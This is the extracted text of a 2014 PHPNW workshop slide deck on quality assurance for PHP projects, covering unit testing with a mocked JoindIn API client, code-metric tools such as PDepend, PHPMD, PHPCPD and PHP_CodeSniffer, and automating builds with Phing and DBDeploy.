JoindinStatusMockTestpublic function testJoindinCanCheckStatus() "{ "    $date = new DateTime(); "    $date->setTimezone(new DateTimeZone('UTC')); "    $response = <<<EOS "HTTP/1.1 200 OK "Content-type: text/xml "!<?xml version="1.0"?> "<response> "  <dt>{$date->format('r')}</dt> "  <test_string>testing unit test</test_string> "</response>         "EOS; "    $client = $this->_joindin->getClient() "                             ->getAdapter()->setResponse($response); "    $expected = '<?xml version="1.0"?><response><dt>' . $date->format('r') . '</dt><test_string>testing unit test</test_string></response>'; "    $actual = $this->_joindin->site()->getStatus('testing unit test'); "    $this->assertXmlStringEqualsXmlString($expected, $actual); "}

Page 122: Workshop quality assurance for php projects - PHPNW Manchester 2014

Good implementation?

Page 123: Workshop quality assurance for php projects - PHPNW Manchester 2014

Exercise

• Get the JoindIn API client from GitHub - see https://github.com/DragonBe/joindin-client

• Replace the current HTTP client adapter by a TEST adapter

• Provide the data for response • Run TEST to see difference

!

• NOTE: this client is already upgraded to v2.1

Page 124: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing it all

Page 125: Workshop quality assurance for php projects - PHPNW Manchester 2014

Testing it all

Page 126: Workshop quality assurance for php projects - PHPNW Manchester 2014

Our progress report

Page 127: Workshop quality assurance for php projects - PHPNW Manchester 2014

Conclusion

Page 128: Workshop quality assurance for php projects - PHPNW Manchester 2014

• unit testing is simple • combine integration tests with unit tests • test what counts • mock out what’s remote

Page 129: Workshop quality assurance for php projects - PHPNW Manchester 2014

Fork this code

http://github.com/DragonBe/zftest

Page 130: Workshop quality assurance for php projects - PHPNW Manchester 2014

Measuring

Page 131: Workshop quality assurance for php projects - PHPNW Manchester 2014

Code Analysis

Page 132: Workshop quality assurance for php projects - PHPNW Manchester 2014

Questions

• how stable is my code? • how flexible is my code? • how complex is my code? • how easy can I refactor my code?

Page 133: Workshop quality assurance for php projects - PHPNW Manchester 2014

Answers

• PHPDepend - Dependency calculations • PHPMD - Mess detections and code “smells” • PHPCPD - Copy/paste detection • PHPCS - PHP_CodeSniffer

Page 134: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Depend

Page 135: Workshop quality assurance for php projects - PHPNW Manchester 2014

What?

• generates metrics • measure health • identify parts to improve (refactor)

Page 136: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend pyramid

Page 137: Workshop quality assurance for php projects - PHPNW Manchester 2014

• CYCLO: Cyclomatic Complexity • LOC: Lines of Code • NOM: Number of Methods • NOC: Number of Classes • NOP: Number of Packages • AHH: Average Hierarchy Height • ANDC: Average Number of Derived Classes

!

• FANOUT: Number of Called Classes • CALLS: Number of Operation Calls

Page 138: Workshop quality assurance for php projects - PHPNW Manchester 2014

Cyclomatic Complexity

• metric calculation • execution paths • independent control structures - if, else, for, foreach, switch case, while, do, …

• within a single method or function • more info - http://en.wikipedia.org/wiki/

Cyclomatic_complexity

Page 139: Workshop quality assurance for php projects - PHPNW Manchester 2014

Average Hierarchy Height

The average of the maximum length from a root class to its deepest subclass

Page 140: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend pyramid

Inheritance

few classes derived from other classes

lots of classes inherit from other classes

Page 141: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend pyramid

Size and complexity

Page 142: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend pyramid

Coupling

Page 143: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend pyramid

High value

Page 144: Workshop quality assurance for php projects - PHPNW Manchester 2014

pdepend-graph

graph  about  stability:  a  mix  between  abstract  and  concrete  classes

Page 145: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 146: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 147: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP  Depend

Page 148: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Mess Detection

Page 149: Workshop quality assurance for php projects - PHPNW Manchester 2014

What?

• detects code smells - possible bugs - sub-optimal code - over complicated expressions - unused parameters, methods and properties - wrongly named parameters, methods or properties

Page 150: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHPMD  in  ac;on

Page 151: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Copy/Paste Detection

Page 152: Workshop quality assurance for php projects - PHPNW Manchester 2014

What?

• detects similar code snippets - plain copy/paste work - similar code routines

• indicates problems - maintenance hell - downward spiral of disasters

• stimulates improvements - refactoring of code - moving similar code snippets in common routines

Page 153: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP CodeSniffer

Page 154: Workshop quality assurance for php projects - PHPNW Manchester 2014

Required evil

• validates coding standards - consistency - readability

• set as a policy for development • reports failures to meet the standard - sometimes good: parentheses on wrong line - mostly bad: line exceeds 80 characters ❖ but needed for terminal viewing of code

• can be set as pre-commit hook - but can cause frustration!!!

Page 155: Workshop quality assurance for php projects - PHPNW Manchester 2014

Performance Analysis

Page 156: Workshop quality assurance for php projects - PHPNW Manchester 2014

https://twitter.com/#!/andriesss/status/189712045766225920

Page 157: Workshop quality assurance for php projects - PHPNW Manchester 2014

Automating

Page 158: Workshop quality assurance for php projects - PHPNW Manchester 2014

Key reason

“computers are great at doing repetitive tasks very well”

Page 159: Workshop quality assurance for php projects - PHPNW Manchester 2014

Repetition

• syntax checking • documenting • testing • measuring

Page 160: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 161: Workshop quality assurance for php projects - PHPNW Manchester 2014

Why Phing?

• php based (it’s already on our system) • open-source • supported by many tools • very simple syntax • great documentation

Page 162: Workshop quality assurance for php projects - PHPNW Manchester 2014

Structure of a build<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Page 163: Workshop quality assurance for php projects - PHPNW Manchester 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<project name="Application build" default="phplint">

Page 164: Workshop quality assurance for php projects - PHPNW Manchester 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- set global and local properties --> <property file="build.properties" /> <property file="local.properties" override="true" />

Page 165: Workshop quality assurance for php projects - PHPNW Manchester 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset>

Page 166: Workshop quality assurance for php projects - PHPNW Manchester 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

<!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target>

Page 167: Workshop quality assurance for php projects - PHPNW Manchester 2014

<?xml version="1.0" encoding="UTF-8"?> <project name="Application build" default="phplint"> ! <!-- set global and local properties --> <property file="build.properties"/> <property file="local.properties" override="true" /> ! <!-- define our code base files --> <fileset dir="${project.basedir}" id="phpfiles"> <include name="application/**/*.php" /> <include name="library/In2it/**/*.php" /> </fileset> ! <!-- let’s validate the syntax of our code base --> <target name="phplint" description="Validating PHP Syntax"> <phplint haltonfailure="true"> <fileset refid="phpfiles" /> </phplint> </target> </project>

Structure of a build

</project>

Page 168: Workshop quality assurance for php projects - PHPNW Manchester 2014

build.propertiesproject.title=WeCycle phpbook:qademo dragonbe$ cat build.properties # General settings project.website=http://wecycle.local project.title=WeCycle !# AB Testing properties abrequests=1000 abconcurrency=10

Page 169: Workshop quality assurance for php projects - PHPNW Manchester 2014

local.propertiesproject.website=http://qademo.local abrequests=1000 abconcurrency=10 !db.username=qademo_user db.password=v3rRyS3crEt db.hostname=127.0.0.1 db.dbname=qademo

Page 170: Workshop quality assurance for php projects - PHPNW Manchester 2014

Let’s  run  it

Page 171: Workshop quality assurance for php projects - PHPNW Manchester 2014

Artifacts

• some tools provide output we can use later • called “artifacts” • we need to store them somewhere • so we create a prepare target • that creates these artifact directories (./build) • that gets cleaned every run

Page 172: Workshop quality assurance for php projects - PHPNW Manchester 2014

Prepare for artifacts <target name="prepare" description="Clean up the build path"> <delete dir="${project.basedir}/build" quiet="true" /> <mkdir dir="${project.basedir}/build" /> <mkdir dir="${project.basedir}/build/docs" /> <mkdir dir="${project.basedir}/build/logs" /> <mkdir dir="${project.basedir}/build/coverage" /> <mkdir dir="${project.basedir}/build/pdepend" /> <mkdir dir="${project.basedir}/build/browser" /> </target>

Page 173: Workshop quality assurance for php projects - PHPNW Manchester 2014

phpdoc2 <target name="phpdoc2" description="Generating automated documentation"> <property name="doc.title" value="${project.title} API Documentation"/> <exec command="/usr/bin/phpdoc -d application/,library/In2it -e php -t ${project.basedir}/build/docs --title=&quot;${doc.title}&quot;" dir="${project.basedir}" passthru="true" /> </target>

Page 174: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHPUnit <target name="phpunit" description="Running unit tests"> <exec command="/usr/bin/phpunit --coverage-html ${project.basedir}/build/coverage --coverage-clover ${project.basedir}/build/logs/clover.xml --log-junit ${project.basedir}/build/logs/junit.xml" dir="${project.basedir}/tests" passthru="true" /> </target>

Page 175: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP_CodeSniffer <target name="phpcs" description="Validate code with PHP CodeSniffer"> <exec command="/usr/bin/phpcs --report=checkstyle --report-file=${project.basedir}/build/logs/checkstyle.xml --standard=Zend --extensions=php application library/In2it" dir="${project.basedir}" passthru="true" /> </target>

Page 176: Workshop quality assurance for php projects - PHPNW Manchester 2014

Copy Paste Detection <target name="phpcpd" description="Detect copy/paste with PHPCPD"> <phpcpd> <fileset refid="phpfiles" /> <formatter type="pmd" outfile="${project.basedir}/build/logs/pmd-cpd.xml" /> </phpcpd> </target>

Page 177: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Mess Detection <target name="phpmd" description="Mess detection with PHPMD"> <phpmd> <fileset refid="phpfiles" /> <formatter type="xml" outfile="${project.basedir}/build/logs/pmd.xml" /> </phpmd> </target>

Page 178: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP Depend <target name="pdepend" description="Dependency calculations with PDepend"> <phpdepend> <fileset refid="phpfiles" /> <logger type="jdepend-xml" outfile="${project.basedir}/build/logs/jdepend.xml" /> <logger type="phpunit-xml" outfile="${project.basedir}/build/logs/phpunit.xml" /> <logger type="summary-xml" outfile="${project.basedir}/build/logs/pdepend-summary.xml" /> <logger type="jdepend-chart" outfile="${project.basedir}/build/pdepend/pdepend.svg" /> <logger type="overview-pyramid" outfile="${project.basedir}/build/pdepend/pyramid.svg" /> </phpdepend> </target>

Page 179: Workshop quality assurance for php projects - PHPNW Manchester 2014

PHP CodeBrowser <target name="phpcb" description="Code browser with PHP_CodeBrowser"> <exec command="/usr/bin/phpcb -l ${project.basedir}/build/logs -S php -o ${project.basedir}/build/browser" dir="${project.basedir}" passthru="true"/> </target>

Page 180: Workshop quality assurance for php projects - PHPNW Manchester 2014

Create a build procedure <target name="build" description="Building app"> <phingCall target="prepare" /> <phingCall target="phplint" /> <phingCall target="phpunit" /> <phingCall target="phpdoc2" /> <phingCall target="phpcs" /> <phingCall target="phpcpd" /> <phingCall target="phpmd" /> <phingCall target="pdepend" /> <phingCall target="phpcb" /> </target>

Page 181: Workshop quality assurance for php projects - PHPNW Manchester 2014

Other things to automate

• server stress-testing with Apache Benchmark • database deployment with DBDeploy • package code base with Phar • transfer package to servers with - FTP/SFTP - scp/rsync

• execute remote commands with SSH • … so much more

Page 182: Workshop quality assurance for php projects - PHPNW Manchester 2014

Example DBDeploy <target name="dbdeploy" description="Update the DB to the latest version"> ! <!-- set the path for mysql execution scripts --> <property name="dbscripts.dir" value="${project.basedir}/${dbdeploy.scripts}" /> ! <!-- process the DB deltas --> <dbdeploy url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" dir="${dbscripts.dir}/deltas" outputfile="${dbscripts.dir}/all-deltas.sql" undooutputfile="${dbscripts.dir}/undo-all-deltas.sql"/> ! <!-- execute deltas --> <pdosqlexec url="mysql:host=${db.hostname};dbname=${db.dbname}" userid="${db.username}" password="${db.password}" src="${dbscripts.dir}/all-deltas.sql"/> </target>

Page 183: Workshop quality assurance for php projects - PHPNW Manchester 2014

Build  it

Page 184: Workshop quality assurance for php projects - PHPNW Manchester 2014

Continuous Integration

Page 185: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 186: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 187: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 188: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 189: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 190: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 191: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 192: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 193: Workshop quality assurance for php projects - PHPNW Manchester 2014

Now you are a winner!

Page 194: Workshop quality assurance for php projects - PHPNW Manchester 2014

Team Works!

Page 195: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 196: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 197: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 198: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 199: Workshop quality assurance for php projects - PHPNW Manchester 2014
Page 200: Workshop quality assurance for php projects - PHPNW Manchester 2014

Conclusion

Page 201: Workshop quality assurance for php projects - PHPNW Manchester 2014

Get your information in a consistent, automated way

and make it accessible for the team !

More people can better safeguard the code!

Page 202: Workshop quality assurance for php projects - PHPNW Manchester 2014

Recommended  reading

• the  PHP  QA  book  -­‐ Sebas;an  Bergmann  -­‐ Stefan  Priebsch

Page 204: Workshop quality assurance for php projects - PHPNW Manchester 2014

Recommended  reading  3

• OOD  Quality  Metrics  -­‐ Robert  Cecil  Mar;n

Free

hKp://www.objectmentor.com/publica;ons/oodmetrc.pdf

Page 205: Workshop quality assurance for php projects - PHPNW Manchester 2014

Feedback/Questions

Michelangelo van Dam !

[email protected] !

@DragonBe

Page 206: Workshop quality assurance for php projects - PHPNW Manchester 2014

joind.in/11778

If you enjoyed this tutorial, thank you If not, tell me how to make it better

Page 207: Workshop quality assurance for php projects - PHPNW Manchester 2014

Thank you

Page 208: Workshop quality assurance for php projects - PHPNW Manchester 2014

CreditsI’d like to thank the following people for sharing their creative commons pictures michelangelo: http://www.flickr.com/photos/dasprid/5148937451 birds: http://www.flickr.com/photos/andyofne/4633356197 safeguarding: http://www.flickr.com/photos/infidelic/4306205887/ bugs: http://www.flickr.com/photos/goingslo/4523034319 behaviour: http://www.flickr.com/photos/yuan2003/1812881370 prevention: http://www.flickr.com/photos/robertelyov/5159801170 progress: http://www.flickr.com/photos/dingatx/4115844000 workout: http://www.flickr.com/photos/aktivioslo/3883690673 measurement: http://www.flickr.com/photos/cobalt220/5479976917 team spirit: http://www.flickr.com/photos/amberandclint/3266859324 time: http://www.flickr.com/photos/freefoto/2198154612 continuous reporting: http://www.flickr.com/photos/dhaun/5640386266 deploy packages: http://www.flickr.com/photos/fredrte/2338592371 race cars: http://www.flickr.com/photos/robdunckley/3781995277 protection dog: http://www.flickr.com/photos/boltofblue/5724934828 gears: http://www.flickr.com/photos/freefoto/5982549938 1st place: http://www.flickr.com/photos/evelynishere/3417340248 elephpant: http://www.flickr.com/photos/drewm/3191872515 !!!